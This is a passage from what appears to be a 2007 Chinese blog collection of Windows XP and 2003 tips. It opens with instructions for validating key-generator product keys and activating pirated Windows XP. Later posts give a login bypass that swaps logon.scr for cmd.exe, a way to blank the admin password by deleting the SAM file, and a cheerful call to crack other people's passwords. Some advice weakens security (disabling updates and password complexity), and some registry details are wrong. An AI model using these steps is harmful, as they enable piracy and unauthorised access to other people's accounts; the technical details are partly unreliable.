　　2、打开日志文件，把算出来的CD-KEY全部复制下来，然后运行批量测号器，复制到左边的空白处，这个东东不知道怎么搞的，是E文的，不过还好，只有一个选项“Software”(Software是软件的意思)，选择为:Windows XP PRO，因为我们复制进去的CD-KEY是Windows XP专业版的CD-KEY嘛，要是算的是Windows XP家庭版的CD-KEY，就要选择Windows XP Home，选好以后点“Process”就可以了，只要短短的几秒钟或数十秒钟(根据你测试的CD-KEY的数量)就可以全部测试完毕，就会显示出如下字符串:12345-12345-12345-12345-12345 - The Key ?-12345-12345-12345-12345‘ is: VALiD !!! The Product-ID is: ‘XXXXX-005-1234567-XXXXX‘.(这里我只是举个例子，只列出测试一个CD-KEY的结果，如果你测试了20个CD-KEY，就会列出20个这样的字符串。)Product-ID就是我上面提到的PID，可以看出，这个CD-KEY的对应的PID处于005子段，激活的成功率很高，我们把PID在005、006、010、011子段的CD-KEY全部保存好，其他的激活成功率太低，没必要保留，我们安装Windows XP专业版并激活就全靠这些CD-KEY了。如果你是测试Office XP的CD-KEY，就要保存对应的PID在071、072、073、074子段的CD-KEY。

　　3、我试过算出来的所有对应的PID在005子段的CD-KEY，个个都可以激活，所以我推荐各位朋友们就用005子段的CD-KEY安装Windows XP操作系统，算号还有一个好处就是可以让你的Windows个性化，你可以找一个跟你的的生日或电话号码数字相关的PID码或念起来比较顺口的PID码对应的CD-KEY来安装，安装完毕，进入Windows后，系统就会不定时的提示你让你激活Windows，如果不提示你，你也可以自己来，点“开始”菜单——“所有程序”——“激活Windows”，根据提示，选择“网络激活”后，点“下一步”，这时Windows会询问你是否注册，可别选错了，因为你的正版CD-KEY是通过不正当渠道得来的，没有必要向Microsoft网站提交你的个人信息，选择“不注册，我只想激活Windows”就可以了，然后再点“下一步”，就可以跟Microsoft网站连接进行验证了，等待10来秒钟(视网络情况而定)，就会收到Microsoft网站回传的信息，提示你是否已经成功激活了Windows，

　　如果提示:Windows已激活，那么恭喜你，你已经成功激活。如果提示CD-KEY错误，请重新输入，不用担心，在提示错误的同时，还给出了一个 “重新输入CD-KEY”的选项，你另外找一个005子段的CD-KEY填写进去，再选择“提交”，如果还是不行的，再试一次，这也就是为什么要多算几个号的目的。不过提交次数最好不要试超过3次，可能超过3次过后，Microsoft就不提示CD-KEY错误，而提示CD-KEY非法了，并且可能封了你的IP，让不能再通过网络验证。所以3次都不行的话，先关了，等几个小时或第二天再去试。反正有30天时间，慢慢来，总会成功的。

加强Windows XP密码安全性两招

2007-01-28T13:38:00.000+08:00

你是怎么给Windows XP设置密码的呢？仅仅在“控制面板→用户账户”中创建密码！也许你认为自己设定的密码和位数足于拒“菜鸟”于系统外，但是更安全的密码规则你总不会拒它于门外吧？更何况，这些规则并不需要第三方软件，而且，这些规则操作只需点击几下鼠标和输入几个数值即可。

　　言归正传，定义更安全的密码规则用到的是系统的“本地安全设置”工具，可以在“开始→运行”中输入“secpol.msc”激活它。在主窗口的左侧目录树依次展开“账户策略→密码策略”，我们要定义的密码规则就是在右侧面板显示的选项了（如图1所示）！

首先双击“密码必须符合复杂性要求”，将安全设置设为“已启用”，此时用户在“控制面板→用户账户”中创建的密码必须包含大小写英文、阿拉伯数字及特殊字符、三种类型字符，如果未包含其中一种字符，将会弹出对话框提示。

　　密码长度最小值（如图2所示）：用户创建密码的最小位数，可以输入0至14之间的阿拉伯数字，0表示不要求检测创建的密码长度。一旦用户创建的密码不满足要求的位数，系统也将弹出对话框警告。

密码最长存留期（如图3所示）：这个选项比较有意思，是设置密码的过期时间，即在指定的周期时间内必须更换一次符合要求的新密码。当然，设置为0则表示密码永久不作废，最长的周期时间是999天。

密码最短存留期（如图4所示）：与“密码最长存留期”选项相对，即设置密码的存活的最少时间，在这段时间内，用户不允许更改密码。同样，设置为0可以随时更改密码，密码可存活的最长时间是998天。

强制密码历史（如图5所示）：频繁更改密码，必然产生多个不同的密码，而此时系统会帮你“记忆”你曾经使用过的密码，帮你记忆的密码数量就由你来“告诉”系统了。0表示不用系统保留密码历史，系统最多也只能帮你记忆24个密码历史，原来系统的记忆力也有限制的^-^。

为域中所有用户使用可还原的加密来储存密码：为保证密码安全，建议停用此功能

清楚了各选项的具体意思和范围，我们就可以灵活定制密码规则了，笔者这里提供一个参考方案：密码复杂性要求启用、密码长度最小值设为8个字符、强制密码历史设置为0后，接着确定密码最长（短）存留期，一般将最长存留期设为最短存留期的2至3倍，如最长存留期设为30天，那么最短存留期可以设置为10天，这样比较合理。

重命名系统管理员账户

Windows XP默认的系统管理员账户名称是“Administrator”（即所谓的真正的系统管理员账户），不少系统高手建议用户得这个账户设上密码，原因是该账户在正常系统状态下是隐藏的，而在安全模式里，该账户毅然出现在登录画面里，在未设置密码的情况下，当然是不用密码就可以“闯入”系统。在“本地安全设置”里，我们可以重命名系统管理员账户名称，在左侧目录树中展开“本地策略→安全选项”，双击右面板的“账户:重命名系统管理员账户 Administrator”，在弹出的窗口中可以输入新的系统管理员账户（如图6所示）。不过经测试几次，新的系统管理员账户名称不能是当前登录的管理员账户名称，否则弹出如图7的“未能保存本地策略数据库”错误对话框。

其实早在安装Windows XP系统时，创建的账户昵称不允许为Administrator和Guest名称，如果你和笔者一样，想使用“Administrator”账户昵称，此时不必在账户昵称中输入任何字符，直接冷启系统，重新启动后，Windows XP已经跳过账户昵称步骤，直接以Administrator账户登录系统。

提高效率:屏蔽WinXP中不需用到的功能

2007-01-28T13:06:00.000+08:00

虽然Windows XP在功能和易用性比以往的系统增强很多，但更多的功能就意味着需要占用更多的系统资源。其实Windows XP一些自带的功能并不比第三方软件强，为了使系统更清爽，笔者收集了一些撤消Windows XP自带功能方法，与大家分享。

　　一、撤消对压缩文件的支持
　　从Windows Me开始，微软就在系统内置了对ZIP文件的支持，用户可以把ZIP文件当成文件夹浏览。
　　
　　现在WinRAR已经是时下最流行的压缩软件，想必你的系统装上了这套软件。禁Zip文件功能，只需取消zipfldr.dll的注册就可以了。点击“开始→运行”，在运行输入框中输入“regsvr32 /u zipfldr.dll”(不包括引号，下同)，回车即可。

　　同样，如果不喜欢系统查看CAB压缩包，输入“regsvr32 /u cabview.dll”来取消对cabview.dll的注册。

　　二、撤消视频预览和刻录功能
　　每当用资源管理器选中一个视频文件时，XP会在左侧面板预览显示，不过这对于较大的视频文件时，往往要读上半天。
　　
　　用户在大多数情况下并不需要预览，禁止的方法也非常简单，在运行输入框中输入“regsvr32 /u schmedia.dll”即可撤消视频预览。

　　Windows Media Player从8.0开始加入了刻录功能，且不说它的Bug，单单功能上无法与Nero等专业软件相比。禁止这项功能得修改注册表，在注册表编辑器中展开主键[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion]，在右面板新建一名为“NoCDBurning”双字节值（DWORD），值修改为“1”即可（如图1）。

图1 撤消视频预览和刻录功能

三、撤消注册表编辑器的记忆功能
　　Windows XP继承了在Windows Me时注册表编辑器的记忆能力，但这项功能却起了事得其反的效果，造成用户操作不便，撤消要经过两个步骤：

　　1.运行注册表编辑器，依次找到主键[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionAppletsRegedit]，将右面板的“LastKey”键值删除（如图2）；

图2 撤消注册表记忆功能

2.在左面板的Regedit分支上单击鼠标右键，在弹出的快捷菜单中择选“权限”命令，在“Administrators 的权限”窗口中将“完全控制”和“读取”两项设置为“拒绝”即可（如图3）。

图3 勾选“拒绝”

　四、撤消检查预定的任务
　　每当系统连接到其他的计算机后会检查对方计算机上所有预定的任务，检查时需要30秒的等待时间。我们可不希望把时间耗在这上面，在注册表编辑器中展开主键
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionExplorerRemoteComputerNameSpace]，删除其子键——，Windows就不再检查预定任务了（如图4）。

图4 删除以上地址的子键

五、撤消IE组件自动安装功能
　　由于系统采用了IE组件自动安装，有时使用Internet Explorer浏览器访问某些网页时，会弹出下载安装IE组件程序的对话框。这项功能笔者并不是很喜欢，如果你也有这种感觉的话，可以通过组策略按下面的步骤撤消：

　　1.在“运行”对话框中输入“gpedit.msc”，激活“组策略”管理窗口。

　　2.在左边的控制台树中依次展开“计算机配置→管理模板→Windows组件→Internet Explorer”，然后在右面板双击“禁用Internet Explorer组件的自动安装”选项，打开“禁用Internet Explorer组件的自动安装属性”对话框。

　　3.在“设置”选项卡中将“禁用Internet Explorer组件的自动安装”设置为“已启用”，点击“确定”按钮让设置生效即可。
　　以后当你使用IE时，系统就不会自动安装IE组件程序了。如果以后你想要重新使用Internet Explorer组件自动安装功能时，只要将“禁用Internet Explorer组件的自动安装”设置为“已禁用”即可。

同法设置“禁用定期检查Internet Explorer软件更新”选项可以定制是否进行IE的定期更新操作。

　　六、撤消Windows XP自动重新启动和自动发送错误报告
　　是不是有时使用Windows XP时，弹出一些错误提示后，Windows XP自动重启，这是因为微软设计了自动重启功能，不过对于一些用户，这项功能不但没帮到忙，反而丢失了未来得及保存的数据。

　　在桌面上的“我的电脑”图标（开始菜单的“我的电脑”图标也可）右键单击，在弹出的菜单选择“属性”，在弹出的属性窗口中切换到“高级”标签页，单击“启动和故障恢复”组的“设置”按钮，在弹出的窗口中撤消“自动重新启动”的复选框即可（如图5）。

图5 撤消自动重启

　同样，在“高级”标签页中单击“错误报告”按钮，在弹出如图6的“错误报告”窗口，选择“禁用错误报告”方式，并撤消“但在发生严重错误时通知我”复选框，最后单击“确定”按钮返回。从此系统错误报告就不会再出来烦你了。

图6 错误报告对普通用户无用，予以撤消

七、撤消分组相似任务栏
　　分组相似任务栏功能可以在打开过多任务窗口的时候自动分组相似任务栏按钮，分组后由同一程序打开的多个窗口将会折叠成一个按钮，鼠标左键单击此按钮会显示出所有的窗口（如图7），鼠标右键单击该按钮则可以一次性关闭这些窗口。

　　但是这项功能会给我们在多个任务窗口中进行切换带来麻烦，如果要禁止它的话，可以使用鼠标右键单击任务栏的空白处，在弹出的菜单中选择“属性”，在“任务栏”标签中取消“分组相似任务栏按钮”即可。

图7 习惯了旧式的分组方式，对新的方式不感冒的可以这做

其实这项功能可以让用户更方便管理窗口，只是系统过早地进行任务栏分组，我们可以通过修改注册表定制此功能：在注册表编辑器中依次展开主键[HKEY_CURRENT_SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]，在右窗口中新建一名为“TaskbarGroUPSize”双字节键值项（DWORD值类型），并赋值希望的具体窗口数量，如设置为8个，则任务栏上打开的窗口达到8个后系统才会进行任务栏分组。

　　八、撤消隐藏不活动的图标
　　当系统托盘里的图标非常多时，Windows XP会自动检测并隐藏已经有一段时间不活动的图标。不喜欢系统自作聪明吧，通过下面的方法来禁止它：在任务栏的空白处单击鼠标右键，在弹出的快捷菜单中选择“属性”，在“任务栏”标签中将“隐藏不活动的图标”取消即可（如图8）。当然，觉得此功能好用的用户可以单击“自定义”按钮里可以自行设置有关项目的隐藏和显示，有目的地使用这项功能。

图8 有的图标还是要让它显示出来的

九、撤消桌面清理向导
　　默认情况下，系统将每隔60天自动运行桌面清理向导，该向导会将你在最近60天内未曾使用的快捷方式图标并移动到桌面上新建的“未使用的桌面快捷方式”的文件夹中。

　　撤消的方法也挺简单的：在桌面单击鼠标右键，在弹出的快捷菜单中选择“属性”，在“显示属性”对话框中选择“桌面”标签，然后单击“自定义桌面”按钮，在“常规”标签项中撤消“每60天运行桌面清理向导”复选框（如图9）。

图9 撤消桌面清理向导

十、撤消磁盘空间报告

当硬盘其中一个分区的磁盘剩余空间比较少的时候，Windows XP就会不停地在任务栏上弹出磁盘不够的提示框“骚扰”着用户。撤消它还得用到注册表编辑器，依次展开[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer]分支，同样在右窗口中新建一名为“NoLowDiskSpaceChecks”双字节键值项，将赋值为“1”（如图10），重启系统后即可生效。

图10烦人的空间报告

当然，删除Windows XP的自带功能的其他项目还有很多，如通过“sysoc.inf”文件删除多余的隐藏的安装组件（如图11，文件在C:WINDOWSinf文件夹中，设有隐藏属性）、关闭调试器Dr.Watson、关闭系统还原等等。这些技巧想必大家耳熟能详了吧，笔者就在此略过。

图11 在这个文本文件里可以撤消更多对你无用的功能

Windows XP系统罕见操作技巧

2007-01-26T00:36:00.000+08:00

这下面的一些技巧，也许你已经熟知，但是笔者从自身的感觉出发，发现下面的这些Windows XP操作系统技巧，都非常的实用，能真正的解决问题。

　　1、修改/清除Administrator帐户的密码

　　WinXP控制面板中的“用户帐户”，可以让你修改用户帐户的密码，但是却不能修改Administrator帐户的密码，假如你要把 Administrator的密码改为abc123，可以这样操作:进入MS-DOS模式，键入命令net user Administrator abc123回车即可。

　　要清除Administrator帐户密码，你可以进入XP系统所在盘，删除系统安装目录 (Windowssystem32config)下的SAM文件;重启电脑后，Administrator帐户就没有密码了，如果此时你用 Administrator帐户登陆系统，无需输入任何密码即可进入系统

　　2、查看WinXP任务管理器中看不到的进程

　　对于WinXP任务管理器中看不到的进程(比如有些木马)，你可以使用专门的进程工具来查看，例如进程杀手，用它来检查系统中的进程，看看有没有可疑的进程，如果发现可疑进程立刻封杀之。进程杀手下载地址如下:

　　进程杀手V2.5：http://www.mydown.com/soft/240/240953.html

　　3、巧妙检查WinXP系统漏洞

　　你可以使用金山网镖6增强版来检查Windows系统中是否有漏洞。如果金山网镖查出你的系统中存在漏洞，它还会提供补丁的下载地址，只要你根据地址下载安装补丁，即可堵住系统漏洞。此外，你还可以在网上找个在线安全测试的网站，检查你的系统是否有漏洞，不过在线检测前，请关闭你的防火墙。目前这类测试各网站都是免费的，建议你去下面知名的网站测试:

　　诺顿在线安全检测http://www.symantec.com/region/cn/

　　金山木马专杀http://scan.kingsoft.com/scan_mm.htm

　　天网安全在线http://old.sky.net.cn/main/view.php?cid=170

　　千禧在线--在线检测http://www.china-yk.com/tsfw/onlineclean/index.asp

　　蓝盾安全在线http://www.haodx.com/url/1673.htm

　　4、清除“添加或删除程序”中残留的程序名

　　在WinXP “控制面板/添加或删除程序”中，有时会留有一些已经卸载过的程序名，你无法正常清除，要清除它们，你可以打开注册表编辑器，先备份注册表，然后进入 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion项，找到Uninstall项，从这里找到那些残留的软件列表，将之删除即可。如果这样操作后，“添加或删除程序”中残留的程序名仍没有删除，你可以在注册表编辑器中单击“编辑→查找”，查找与该程序有关的相应键值，然后全部删除之。

　　5、只运行许可的Windows应用程序

　　要限制用户任意运行 Windows程序，可以单击“开始”菜单/运行，输入“gpedit.msc”回车，然后打开“组策略控制台→用户配置→管理模板→系统”，启用“只运行许可的Windows应用程序”;接下来点击“允许的应用程序列表”边的“显示”按钮，弹出一个“显示内容”对话框，单击“添加”按钮，添加允许运行的应用程序(例如Winword.exe)即可，以后普通用户只能运行“允许的应用程序列表”中的程序。

　　6、一键锁定你的PC

　　如果你要暂时离开，并且又不希望注销系统，可以按一个键(例如F1)迅速锁定键盘和显示器，方法是:右击桌面，在快捷菜单上选择“新建”/快捷方式，启动创建快捷方式向导，在文本框中输入“rundll32.exe user32.dll,LockWorkStation”，然后单击“下一步”，在弹出的窗口中输入快捷方式的名称(例如“锁定PC”)，最后单击“完成”;接下来，右击桌面上的“锁定PC”快捷方式，点击“快捷键”输入框，把光标定位在该框，然后按F1键，最后按“确定”退出。以后只要你一按F1键，就会锁定键盘和显示器，只有输入正确的密码才能解锁!

　　7、真正删除_Restore目录

　　Windows XP/Me中都有“系统还原”功能，因此会在硬盘上自动创建_Restore文件夹。如果你想删除_Restore文件夹，可以启动到DOS模式删除，但这样做并不能真正删除，重新启动后系统却仍会自动创建这个文件夹。要真正删除_Restore目录，你可以先打开“系统属性”窗口，禁用系统还原功能，然后再切换到DOS模式删除，这样_Restore文件夹就不会再有啦。

　　8、在右键菜单中总是显示“打开方式”

　　当我们为某个文件修改文件关联时，就要用到“打开方式”。你可以选中这个文件，然后右击鼠标，在右键菜单中就会显示“打开方式”选项，如果你希望每次右键鼠标时，都会有这一项，只需先用鼠标左键选中某个文件，然后按住“Shift”键不放、再点击鼠标右键即可。

　　9、禁止你运行命令提示符窗口

　　在WinXP中，要禁止运行Cmd.exe，你可以单击“开始”菜单/运行，输入“gpedit.msc”回车，然后打开“组策略控制台→用户配置→管理模板→系统”，启用“阻止访问命令提示符”，并在下面列表框中选择是否“也停用命令提示符脚本处理”，如果你选择了这个设置，批处理文件.cmd和. bat将不能在计算机上运行。以上设置完成后，当你试图打开命令窗口时，系统就会显示一条消息，解释并阻止该操作。

提高效率 Windows 2003操作系统14招加速大法

2007-01-25T22:33:00.000+08:00

微软的Windown Server 2003尽管它是对应服务器的，但仍然有不少朋友蠢蠢欲动，欲升之而后快。可是，安装之后你就会发现麻烦多多，这样功能没有，那样功能打不开，甚至连听歌，玩游戏也成问题了。

其实，Server 2003在XP的基础强化了安全性和稳定性，不得不关闭了一些工作站系统。我们是把Win 2003当工作站用，当然要重新打开这些服务，让它重获新生啦。那些用不着的服务器功能，也一并减肥去掉吧。

　　1、关闭服务器向导

　　装完win 2003，你会发现“管理您的服务器”出现，把左下角的“登录时不要显示该页”勾上。如果你在开机时找不到，可以进入控制面板-管理工具-管理你的服务器中找到

　　2、用户帐号登录

　　2003使用服务器的ctrl+alt+del登录方式，没有Win XP的登录欢迎，还是建立一个帐号登录有个性化。在开始-运行-输入“lusrmgr.msc”-本地用户和组。在用户中右键点击建立“新用户”，输入账号信息并建立账号。

　　接着把新建的账号添加到管理员组，右键点击你新建的用户，选择属性-隶属于-添加Add..-高级-现在查找，双击管理员，得到Administrator相近的权限。

　　3、安装防火墙

　　即使Win2003的安全性高，而且我们也经常升级系统补丁，但亦无法保证不被攻击。可是，Win2003需要特殊的程序，普通单机软件无法安装，必须使用服务器版的程序。推荐:Symantec Norton Antivirus企业版病毒防火墙+Personal Firewall 2003网络防火墙。
　　4、提高系统性能

　　右键点击“我的电脑”图标，进入属性-高级-性能-设置，调整为最佳性能。

　　5、加速任务栏

　　除了将“任务栏保持在其它窗口的前端”其它全部去掉，原因如下:

　　自动隐藏任务栏:避免找不到任务栏，而且占用系统

　　分组相似任务栏按钮:程序过于集中，很难找到

　　显示时钟:有手表或手机就无须用时钟

　　隐藏不活动图标:不知道现在使用了那些应用程序

　 6、自定义经典开始菜单

　　只使用“显示运行”和“在开始菜单中显示小图标”，其它都是扩展任务栏，以及增加特效和功能的，紧记!功能越少越快

　　7、提高显示速度

　　右键点击桌面进入显示属性，把桌面墙纸和屏幕保护都关掉，在外观-效果中，把所有勾去掉。

　　8、资源管理器提速

　　在资源管理器或我的电脑上，选择工具-文件夹选项-常规，选择“使用windows传统风格的文件夹”。

　　把“隐藏受保护的操作系统文件”和“隐藏己知文件类型的扩展名”之外所有的选项都去掉。特别是“记住每个文件夹的视图设置”、“鼠标指向文件夹和桌面项时显示提示信息”、“在文件夹提示中显示文件大小信息”这几项关掉，去掉个性化设置。

　　第三是资源管理器的优化，查看中使用“列表”形式，以最小的图标和信息显示内容。在工具栏菜单中，把标准按钮和链接都去掉，这些功能全部通过快捷键可以实现，多留无益。

　　9、关掉桌面图标

　　在桌面上按右键，选择排列图标，去掉显示桌面图标的勾，关掉所有图标，节省大量资源。

10、IE的优化

　　IE的界面优化基本和资源管理器相同，都是尽可能减少功能条，只留下地址栏。不过，在工具-internet选项中就有许多好玩东西了。

　　常规-可以更改的主页用空白页，开启时无须载入任何网页，速度飞

　　高级-多媒体，去掉“启用自动图像大小调整”，直接显示整幅图像，减少IE的工作量。

　　浏览，去掉“启用脱机项目按计划同步”，在宽带包月如此流行的今天，脱机还有什么用?

　　去掉“使用平滑滚动”，让左边的导航条，按照正常的page up/down方式快速翻页。

　　去掉“下载完成后发出通知”，download完就算还通知什么，多此一举。

　　去掉“在地址栏中显示转到按钮”，转到的网址我们都没多大用处。

　　去掉“自动检查Internet Explorer更新”，手动更新永远比自动更新要快，而且无须让IE经常留意是否需要更新。

　　11、关掉自动更新

　　在“我的电脑”图标上按右键，系统属性-自动更新，去掉“保持我的计算机最新”。让我们养成自己定时更新的好习惯，可以让大家避免再受到“冲击波”之类的病毒袭击。

　　12、关闭远程协助

　　在“我的电脑”图标上按右键，系统属性-远程中，一般情况下把远程协助全部关掉，避免不必要的麻烦。

　　13、使用耗电模式

　　为了让电脑经常处于最佳状态，把所有的省电模式关掉，在控制面板-电源使用方案中选择“演示”方案，从不关闭监视器、硬盘或进行系统待机。

　　14、键盘速度

　　在控制面板-键盘中，把“重复延迟”和“重复速度”都拉到右边，文字编辑的时候立即见功。

方便快捷简化Windows 2003系统域控制器密码

2007-01-25T22:32:00.000+08:00

最近将公司的Windows 2003服务器升级到域控制器后，遇到了一个问题，公司领导不喜欢在每次进行登录时，输入复杂的密码(既有大写字母，还有小写字母，同时还要输入数字)。在为他们创建账户并设置简单密码时，提示无法设置密码。

　　本以为只要点击“开始→运行”，在“运行”对话框中键入“gpedit.msc”进入“组策略编辑器”就能进行修改，没想到在“组策略编辑器”中根本不能修改。

　　在经过多次尝试后，找到了解决此问题的方法，依次点击“开始→设置→控制面板→管理工具→域安全策略”，进入“默认域安全设置”后，点击“Windows设置→安全设置→密码策略”，双击右侧窗口中的“密码必须符合复杂性要求”项，会弹出一个窗口，选中“已禁用”选项并点击“确定”后，重新启动电脑即可。同时密码长度也是在此设置。

万事无忧教你如何进入有密码的Windows XP

2007-01-25T22:12:00.000+08:00

你在使用的Windows XP操作系统的时候是不是遇到过忘记密码的事情呢？下面给大家讲讲几种方法。

方法一：

(1)启动电脑，使用DOS启动盘(比如：Windows 98启动盘)进入纯DOS状态。

(2)在DOS提示符下，根据下面步骤操作：
cd\ (切换到根目录)
cd windows\system32 (切换到系统目录)
mkdir temphack (创建临时文件夹)
copy logon.scr temphacklogon.scr (备份logon.scr)
copy cmd.exe temphackcmd.exe (备份cmd.exe)
del logon.scr (删除logon.scr)
rename cmd.exe logon.scr (将cmd.exe改名为logon.scr)
exit (退出)

(3)重启电脑，在登录等待画面出现后静静等候，如果没有修改屏幕保护时间，大约10分钟，系统就会自动启动登录屏保程序，可是由于Logon.scr已经由cmd.exe代替了，所以系统就启动了cmd.exe，进入命令行提示符状态。

(4)这时，我们可以使用命令：net user password来修改密码了。
假设有一个超级管理员的帐号是Admin，希望重新设置其密码为admin，那么可以使用命令：net user Admin admin，回车后即可更改密码。

(5)接下来，想不想进入桌面系统看看硬盘上面的东西呢？在命令行提示符状态下输入Explorer命令试试看，是不是很顺利地进入了Windows的桌面？

小提示
如果你有一个普通用户帐号，利用上面介绍的方法稍作改动就可以把它变成超级管理员Administrator帐号。
备份logon.scr和usermgr.exe，将第二步中的cmd.exe全部换成usermgr.exe，然后重启，静静等候，这时出现的不是命令行提示符，而是用户管理器，这时我们就有权限把自己加到Administrator组了。

方法二

由于Windows XP在安装过程时，首先以Administrator默认登陆，有不少朋友没有注意到为它设置密码，而是根据要求创建一个个人的帐户，以后进入系统后即使用此帐户登陆，而且在Windows XP的登录界面中也只出现这个创建的用户帐号，而不出现Administrator，实际这个帐号依然存在，而且密码为空。

知道了这个原理，你可以直接正常启动，在登陆界面出现后，按Ctrl+Alt，再按Del两次，即可出现经典登陆画面，此时在用户名处填入Administrator，密码为空即可进入，接下来，就可以进入“控制面板”的“用户和密码”，修改你想要修改的用户的密码即可。

密码过期前显示信息提示

预设的情况下，Windows XP会在密码过期前14天显示信息提示使用者。如果要更改天数，可打开“注册表编辑器”，找到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]，双击右侧窗格中的“PasswordExpiryWarning”双字节值，根据你自己的需要设置提前提示的天数。

从待机状态恢复时不输入密码

打开“控制面板”→电源选项，点击“高级”选项卡，然后将“在计算机从待机状态恢复时，提示输入密码”前的对勾取消。

别让密码过期的另一招

Windows XP在密码过期前14天就会提醒你更换密码。除了可以通过修改注册表来取消提醒外，我们还可以在“运行”命令里输入：lusrmgr.msc，回车，在弹出的Local Users and GroUPS对话框中，选择“用户”文件夹，在右边窗口中找到你所使用的用户名，例如：Format，双击后，会弹出“Format 属性”对话框，只需选中“密码永不过期”复选框。

退出带密码的屏保时出现登陆界面

Windows XP中，如果设置了屏幕保护和密码保护，退出屏幕保护时为锁定计算机，显示的是欢迎界面。如何才能在退出屏保时为登陆界面呢？

点击“我的电脑”→“控制面板”→“显示”，在“屏幕保护程序”选项卡中的“屏幕保护程序”下，单击“屏幕保护程序”。选中“密码保护”复选框，取消“显示欢迎屏幕”前面的勾选。

如果希望在开机时也显示登陆界面，需要进一步操作，在“控制面板”中双击“用户帐号”，打开“用户帐号”窗口，单击“更改用户登录或注销方式”，取消“使用欢迎屏幕”前面的勾选。

这样，以后无论是登录还是从屏幕保护返回，都直接进入登录界面而不是欢迎界面。

创建一张密码重置磁盘

以前在使用Windows 2000时不少用户都遇到过因为忘记了自己的密码而无法进入系统的问题，在Windows XP中你可以创建一张密码重设磁盘，这样在忘记密码时可以使用它来重新设置一个密码。点击开始→控制面板，然后点击用户帐号；在下面点击你的帐号名；在弹出的用户帐号对话框中选择“创建一张密码重设盘”，跟随向导的指示完成密码重设盘的制作。注意将该磁盘存放在安全的地方，因为任何人都可以使用它来访问你的本地用户帐号。

找到密码提示语

会不会担心记不住自己的登录密码？没关系，在最初生成密码时，你可以在提示符后生成一个提示语，Windows XP会把密码提示语保存在注册表[Hkey_local_machine\Software\Microsoft\Windows\Current Version\Hints]里面。

限制自动登录的次数

这个设置用于限制自动登录的次数，一旦达到限制的数字，自动登录功能会禁用，系统会显示标准的认证窗口。打开“注册表编辑器”，找[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]，在右侧窗格创建名为AutoLogonCount的字符串值，将其值设置为自动登录的次数。这样每当系统启动一次，自动登录的次数将会减少一次，直到为零。然后不允许自动登录。AutoLogonCount和DefaultPassword会从注册表删除，AutoAdminLogon为零。

自动登录时禁用Shift键
当使用自动登录功能时，用户可通过按住Shift键忽略登录进程，输入其他用户名及密码进入电脑。该技巧可以禁用自动登录时的Shift键功能。操作步骤如下：打开“注册表编辑器”，找到[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]子键并选中它。在右侧窗口中创建名为IgnoreShiftOverride的字符串值，命，将其键值设置为1。

退出“注册表编辑器”，重启电脑。这样在启动时就不能通过按住Shift键中断自动登录过程了。

让别人访问你的电脑

打开“控制面板”→“用户帐号”，接着点击“创建一个新帐号”，然后在向导中输入其他用户帐号名称及密码，最后选择将其类型设置为“受限”，然后点击“创建帐号”按钮，这样别人就可以登录你的电脑了。

让指定的用户只能在特定时间登录

做家长的可能会希望限制孩子使用电脑的时间。只要按照以下方法，就能轻松实现。不过这要求你有Administrator权限。

首先进入“命令行提示符”，以Guest这个账户为例。如果需要设置这个账户从周一到周五的早上9点到晚上5点才能登录。可以用下面这个命令：

net user Guest /time:M-F,08:00-17:00，或者net user Guest /time:M-F,9am-5pm

回车后就会生效。

如果需要依次指定每天的时间，那么也只需要按照下面这个格式：

net user Guest /time:M,4am-5pm;T,1pm-3pm;W-F,8:00-17:00。

而net user Guest /time:all 这个命令则可以允许该用户随时登录。

当心你的加密文件

从Windows 2000开始，在NTFS文件系统的分区中Windows可以帮助你加密文件。方法是，在想加密的文件或文件夹上点右键，选择“属性”，在属性的“常规”选项卡上点击“高级”按钮，会弹出一个窗口，选中窗口中的“加密内容以便保护数据”即可实现在NTFS卷上对文件的加密。

小提示
这被称作为EFS(Encrypting File System，加密文件系统)。这种加密的好处是，加密的过程是完全透明的，也就是说，如果你加密了这些文件，你对这些文件的访问将完全允许(并不需要你输入密码，因为验证过程在你登录Windows的时候就进行了)，而其它人则不能访问或移动这些数据。

不过如果你的Windows突然崩溃，在无计可施的情况下只能重装系统，但原来被加密过的数据会出现无法打开的问题。这时只有在域环境下，才可以得到域管理员的帮助，解密这些文件。这是因为当你使用EFS加密后，系统会根据你的SID(Security Identifier，安全标示符)自动生成一个密钥，要解密这些文件就要使用这个密钥。对于系统而言，并不是根据用户名来区别不同的用户，而是根据SID，这个SID是唯一的。SID和用户名的关系跟人的姓名和身份证号码的关系是一样的。虽然有同名同姓的人，但他们的身份证号码绝对不会相同；虽然有相同的用户名(指网络上的，因为本地用户不能有相同的用户名)，但他们的SID绝对不同。这也就解释了为什么重装系统后即使使用之前的用户名和密码登陆也不能打开以前的加密文件。

所以在重装系统之前最好能把加密的数据全部解密。然而，为了应付突发的系统崩溃，就需要备份好自己密钥，这样系统崩溃后只要重装系统，并导入密钥，就可以继续使用之前的加密文件了。

备份密钥的方法是：单击“开始”→“运行”，输入：certmgr.msc，回车后打开“证书管理器”，在 “当前用户”→“个人”→“证书”目录下，右击颁发给你的证书，在“所有任务”中点击“导出”，并选择Export The Private Key(导出私钥)，其它选项按照默认设置。输入该用户的密码和保存路径就可以了。

在重装系统后，照旧运行certmgr.msc，并在“所有任务”中选择导入，选择好备份的证书，然后按照向导，就可以完成对密钥的导入。或直接在导出的pfx文件上点右键，选择“安装PFX”。这时，你的加密数据已经可以访问了。

开启安全文件系统

打开“注册表编辑器”，找到[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]，在右侧窗格将forceguest的键值改为1。

方法三

当有人为自己的机器设置了密码，而且不象xifeng那样明明白白告诉你密码的话，我们就要暴力破解它，哈哈。

利用NET命令

我们知道在Windows XP中提供了“net user”命令，该命令可以添加、修改用户账户信息，其语法格式为：
net user [UserName [Password | *] [options]] [/domain]
net user [UserName {Password | *} /add [options] [/domain]
net user [UserName [/delete] [/domain]]

每个参数的具体含义在Windows XP帮助中已做了详细的说明，在此笔者就不多阐述了。好了，我们现在以恢复本地用户“zhangbq”口令为例，来说明解决忘记登录密码的步骤：
